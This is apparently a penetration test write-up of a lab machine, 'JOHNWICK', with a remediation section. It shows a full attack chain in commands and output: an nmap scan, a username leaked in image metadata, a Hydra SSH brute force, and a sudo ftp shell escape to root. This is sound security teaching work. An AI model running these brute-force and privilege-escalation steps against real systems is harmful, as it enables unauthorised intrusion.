

PENETRATION TESTING REPORT

Security Assessment of Infrastructure Host: JOHNWICK

Target Asset: JOHNWICK (192.168.1.20)
Prepared By: Mani Teja
Contact Email: manitejageddam09@gmail.com

Assessment
Date: March 21, 2026

Document
Version: v1.2 (Paginated Final)
Classification: **STRICTLY CONFIDENTIAL**

Table of Contents

1. Executive Summary	3
2. Summary of Results	4
3. Attack Narrative	5
Step 1: Reconnaissance and Service Enumeration	5
Step 2: Web Application Discovery & Directory Enumeration	6
Step 3: Metadata Analysis of Downloaded Image	7
Step 4: File Discovery and Local Enumeration	8
Step 5: SSH Authentication Testing (Brute-Force)	9
Step 6: Initial Access Established	10
Step 7: Privilege Escalation to Administrative Root	11
4. Post-Exploitation Scope & Posture Assessment	12
5. Visualizing the Attack Kill Chain	13
6. Detailed Remediation Recommendations	14
7. Technical Risk Matrix & Vulnerability Profile	16

1. Executive Summary

During the recent security assessment, a comprehensive, network-layer infrastructure penetration test was executed against the primary network asset host **JOHNWICK (192.168.1.20)**. The core objective of this engagement was to identify system security systemic weaknesses, evaluate potential external entry points, and simulate how an adversarial threat actor could compromise infrastructure security controls.

The assessment successfully exposed a severe, multi-stage vulnerability chain that presents an immediate risk to organizational operations. By exploiting systemic architectural weaknesses—specifically unpatched out-of-date software, exposed non-standard administration services, and critical configuration oversights—full unauthenticated administrative control (root access) was achieved over the server.

Business & Operational Impact

- **Complete System Compromise:** An external threat actor can successfully execute remote code, read/modify sensitive system files, extract credentials, and entirely seize control of data operations on this host.
- **Lateral Movement Risk:** With root access established, this compromised environment can serve as an ideal launchpad for internal pivot maneuvers to breach adjacent corporate servers, internal database architectures, and local domain resources.
- **Compliance Overlap & Exposure:** Operating an End-of-Life (EOL) operating system containing hundreds of missing security patches introduces critical non-compliance risks under standard technical compliance frameworks (such as ISO 27001 or PCI-DSS).

Immediate remediation of the Critical and High-risk items detailed in this deliverable is highly recommended to neutralize active operational exposure and reinforce the overall system perimeter.

2. Summary of Results

The penetration testing engagement identified distinct vulnerabilities mapped across the targeted environment. To enable effective resource allocation for system engineering and administration teams, these findings are strictly organized according to their overall severity:

- **Critical & High Severity:** Represent existential operational dangers. These weaknesses permit unauthenticated remote initial footholds or instantaneous local privilege escalation to a root state.
- **Medium Severity:** Signal exposure risks where system configuration oversights inadvertently leak intelligence data, facilitating or accelerating subsequent attack phases.
- **Low Severity / Best Practices:** Involve hygiene findings regarding deprecated services, verbose headers, or general lack of system patching lifecycle administration.

Detailed exploitation proof-of-concepts, chronological narrative breakdowns, and explicit remediation actions are systematically mapped out within the subsequent sections of this report.

3. Attack Narrative

1. Reconnaissance and Service Enumeration

Active network reconnaissance and banner enumeration were initiated against target host **192.168.1.20** to verify live ports and map out visible service surfaces. An Nmap version discovery scan (**-sV**) validated that the target was online and hosted multiple active services on standard and non-standard listener ports.

```
# nmap 192.168.1.20 -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-21 14:19 EDT
Nmap scan report for 192.168.1.20
Host is up (0.00052s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       ISC BIND 9.11.3-1ubuntu1 (Ubuntu Linux)
110/tcp   open  pop3         Dovecot pop3d
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap         Dovecot imapd (Ubuntu)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp   open  ssl/imap     Dovecot imapd (Ubuntu)
995/tcp   open  ssl/pop3     Dovecot pop3d
1001/tcp  open  http         Apache httpd 2.4.29 ((Ubuntu))
1111/tcp  open  ssh          OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
MAC Address: 08:00:27:53:FB:85 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: HACKERSCHOOL; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.13 seconds
```

Attack Surface Mapping:

- **Port 53 (DNS - ISC BIND):** Core nameserver protocol mapping. If misconfigured, zone transfers or query floods could leak internal network infrastructure maps.
- **Ports 110, 143, 993, 995 (Mail Services - Dovecot):** Dedicated POP3/IMAP handling. Exposed access layers risk credential harvesting or brute-force attempts.
- **Ports 139 & 445 (SMB/NetBIOS):** Active network file sharing. Common vector for system exploits, unauthenticated shares, or information disclosures.
- **Port 1001 (HTTP - Apache 2.4.29):** Exposed web instance serving frontend web content. Prime investigation lane for application-layer flaws.
- **Port 1111 (SSH - OpenSSH):** Administrative shell console access mapped to a non-standard port. Highly prone to dictionary attacks if weak credential criteria are enforced.

3. Attack Narrative (Continued)

2. Web Application Discovery & Directory Enumeration

During the web application enumeration phase, the HTTP service running on the target host at <http://192.168.1.20:1001> was evaluated. The service was reachable through a web browser, confirming that a web-based interface is actively hosted on the system. Upon loading the web page, a simple interface was displayed containing a single image prominently centered on the page. The page did not immediately present navigation menus, input fields, or visible links.

To ensure a comprehensive analysis, web directory brute-forcing was conducted using `gobuster` against the HTTP service to detect unlinked folders or hidden entry paths:

```
# gobuster dir -u http://192.168.1.20:1001/ -w /usr/share/wordlists/dirb/common.txt -q
/index.html      (Status: 200) [Size: 284]
/james.jpg       (Status: 200) [Size: 261120]
/robots.txt      (Status: 200) [Size: 42]
```

The `robots.txt` and directory structure confirmed that no other hidden endpoints or legacy administrative portals were active, indicating that the primary delivery mechanism for files was the public resource assets structure directly.

3. Attack Narrative (Continued)

3. Metadata Analysis of Downloaded Image

After downloading the centered image resource (`james.jpg`) from the target web server, advanced metadata analysis was performed using **ExifTool** to identify hidden, embedded developer configuration trails or operational properties within the file.

```
# exiftool james.jpg
ExifTool Version Number      : 13.36
File Name                    : james.jpg
File Size                    : 255 kB
File Permissions              : -rw-r--r--
File Type                    : JPEG
MIME Type                    : image/jpeg
Image Description             : Username: jamesbond
XP Title                     : Username: jamesbond
XP Subject                   : wifite.txt
Device                       : wifite.txt
Title                        : Username: jamesbond
Description                  : Username: jamesbond
Profile Date Time            : 2012:01:25 03:41:57
Profile Creator               : Little CMS
```

Critical Leaks Identified: The metadata explicitly leaked specific internal properties: a candidate system username string `Username: jamesbond` populated across multiple fields (Title, Description, Image Description) and a clear reference to an associated configuration filename `wifite.txt` inside the Subject/Device tags.

3. Attack Narrative (Continued)

4. File Discovery and Local Enumeration

Following the discovery of the structural wordlist reference `wifite.txt` within the asset's metadata, a system verification look-up was executed locally to confirm the context of this specific file within standard repositories:

```
# find / -name wifite.txt 2>/dev/null  
/usr/share/wordlists/wifite.txt
```

The path confirmed that `wifite.txt` exists within the security toolkit's standard pre-installed wordlist directory on the testing platform, providing an immediate, tailored source for password dictionary generation targeting the discovered user profile.

3. Attack Narrative (Continued)

5. SSH Authentication Testing (Brute-Force Attack)

Leveraging the leaked candidate username account `jamesbond` and the identified dictionary file `/usr/share/wordlists/wifite.txt`, an online automated credential validation attack was mounted against the administrative OpenSSH service bound to non-standard port `1111` using **Hydra**.

```
# hydra -l jamesbond -P /usr/share/wordlists/wifite.txt ssh://192.168.1.20:1111 -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/the-hydra) starting at 2026-03-21 14:28:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 203888 login tries
[1111][ssh] host: 192.168.1.20  login: jamesbond  password: butterfly
1 of 1 target successfully completed, 1 valid password found
Hydra finished at 2026-03-21 14:28:53
```

The attack successfully identified a valid set of credentials within 12 seconds, establishing that the `jamesbond` user account utilized the weak, guessable password criteria `butterfly`.

3. Attack Narrative (Continued)

6. Initial Access Established

Remote interactive shell access was successfully completed by authenticating via SSH into the non-standard port 1111 using the verified credentials. The host immediately dropped into a restricted system prompt:

```
# ssh jamesbond@192.168.1.20 -p 1111
jamesbond@192.168.1.20's password:
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)
System information as of Sat Mar 21 23:59:28 IST 2026
  IP address for enp0s3: 192.168.1.20
*** 455 packages can be updated.
*** 357 updates are security updates.

jamesbond@hackerschool:~$
```

The environment banner confirmed the system is operating an End-of-Life (EOL) operating system base (Ubuntu 18.04 LTS) missing hundreds of security patches, exposing an extensive unpatched localized kernel-level attack perimeter.

3. Attack Narrative (Continued)

7. Privilege Escalation to Administrative Root

To escalate privileges from the low-privilege `jamesbond` context, a localized audit of allowed administrative execution rights was triggered via the `sudo -l` facility:

```
jamesbond@hackerschool:~$ sudo -l
Matching Defaults entries for jamesbond on hackerschool:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

User jamesbond may run the following commands on hackerschool:
    (ALL) /usr/bin/ftp
```

Living off the Land (LotL) Exploitation: This policy revealed a critical administrative sudoers scoping flaw. The user was permitted to invoke the legitimate system File Transfer Protocol client binary (`/usr/bin/ftp`) with full administrative rights (`ALL`) without providing a password and without restrictive argument handling limitations.

Because the `ftp` interactive client supports a built-in shell escape macro execution character (`!`), a root breakout was instantaneously executed:

```
jamesbond@hackerschool:~$ sudo ftp
ftp> !/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/home/jamesbond
# cd /root
# ls
secret.txt
# cat secret.txt
[COMPROMISE_FLAG_SUCCESSFUL]
```

The subshell inherited the full root process-ownership token of the parent application context, allowing navigation to the restricted `/root` folder and extraction of the final target proof flag asset `secret.txt`, completing total machine takeover.

4. Post-Exploitation Scope & Posture Assessment

Upon establishing absolute administrative control over the target system, an internal posture inspection was briefly executed to determine depth-of-risk exposure. Root permission enabled read access across the localized authentication database storage structures (`/etc/shadow`), confirming that all underlying user account hashes are completely exposed to offline high-speed cracked extraction attacks.

Furthermore, internal system validation proved that network routing structures allow the server to directly interconnect with adjacent internal subnets. No localized firewall rules or endpoint egress filters restricted outbound routing, meaning that an advanced threat actor could seamlessly utilize this host as an internal pivot asset or network proxy to map out and compromise wider enterprise directory segments without detection.

5. Visualizing the Attack Kill Chain

To help development and engineering teams visualize the chronological progression of this multi-stage attack lifecycle, the exploitation flow can be mapped across six distinct phases:

Phase	Attack Mechanism	Operational Outcome
1. Reconnaissance	Nmap Service Scan (Ports 1001, 1111)	Identified active custom HTTP and non-standard SSH profiles.
2. Enumeration	Gobuster Directory Mapping & Metadata Extraction	Harvested user token <code>jamesbond</code> and wordlist asset trail via Exif data.
3. Credential Attack	Hydra Password Dictionary Brute-Forcing	Discovered valid network login credentials (<code>jamesbond:butterfly</code>).
4. Foothold	SSH Authentication Port 1111	Secured direct lower-tier interactive remote user access.
5. Privilege Audit	Sudoers Rule Analysis (<code>sudo -ll</code>)	Located unsafe structural binary assignment configuration for <code>ftp</code> .
6. Compromise	FTP Shell Escape Technique (<code>! /bin/sh</code>)	Achieved immediate system root shell ownership and final flag exfiltration.

6. Detailed Remediation Recommendations

The structural vulnerability posture analyzed during this testing engagement shows that minor systemic leakages can compound rapidly into major architecture-wide compromise. Below are the precise technical mitigation procedures necessary to neutralize these risks.

CRITICAL 1. Sanitize Sudo Execution Policies via Sudoers Restriction

CVSS v3.1 Score: 7.8 (High) • CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vulnerability: The active sudo configuration explicitly permitted the standard user account to execute interactive client utilities (`/usr/bin/ftp`) as root without restriction, inducing an immediate Living off the Land interactive shell breakout.

Remediation Action: Edit the systems configuration table strictly via the secure wrapper `visudo` and completely strip out or remove the unsafe binary pointer lines from the configuration structure at `/etc/sudoers`. If binary-level execution is fundamentally required for operations, enforce rigid parameters or convert configurations to non-interactive custom wrapper scripts.

HIGH 2. Enforce Enforced SSH Service Hardening Policies

CVSS v3.1 Score: 7.5 (High) • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Vulnerability: The administrative SSH service permitted traditional, low-entropy interactive password-based access profiles, facilitating online vocabulary matrix processing bypass mechanisms.

Remediation Action: Restructure configuration options within `/etc/ssh/sshd_config` to explicitly disable password-based profiles and enforce modern cryptographic asymmetric key-pair architectures:

```
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3
```

MEDIUM 3. Mitigate Public Web Asset Information Disclosure & Metadata Leakage

CVSS v3.1 Score: 5.3 (Medium) • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Vulnerability: Internal development tracking values, usernames, and wordlist properties were left embedded within public-facing web multimedia assets, speeding up adversarial weaponization.

Remediation Action: Integrate an automated script stripping utility step directly within production asset publishing pipelines using utilities like `exiftool` to continuously scrub information variables prior to deployment:

```
# Strip all metadata from production web assets
exiftool -all= /var/www/html/assets/
```

CRITICAL 4. Comprehensive Operating System Lifecycle & Patch Management

CVSS v3.1 Score: 9.8 (Critical) • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Vulnerability: The server depends on an unpatched, End-of-Life (EOL) operating system runtime environment (Ubuntu 18.04), entirely lacking modern vendor mitigation support or critical upstream patch blocks.

Remediation Action: Immediately migrate the operational ecosystem baseline away from legacy foundations and onto a supported active Long-Term Support (LTS) environment baseline framework (such as Ubuntu 24.04 LTS). Establish structured un-attended automated deployment tasks for regular security patching cycles.

7. Technical Risk Matrix & Vulnerability Profile

The matrix table compiled below provides a centralized cross-reference tracking panel organizing each identified issue, associated formal metrics, attack vector points, and their structural resolution statuses.

Severity	Vulnerability Name	CVSS v3.1	Primary Exploit Vector	Status
CRITICAL	Missing Patches & End-of-Life Operating System Architecture	9.8	Remote / Local System Core	OPEN
CRITICAL	Wildcard Sudo Binary Privilege Escalation Policy (FTP Breakout)	7.8	Local Interactive Client Escape	OPEN
HIGH	Weak SSH Network Service Password Authentication Policies	7.5	Remote Network Service Portal	OPEN
MEDIUM	Public Web Asset Information Disclosure & Metadata Exif Leakage	5.3	Web Directory Harvesting	OPEN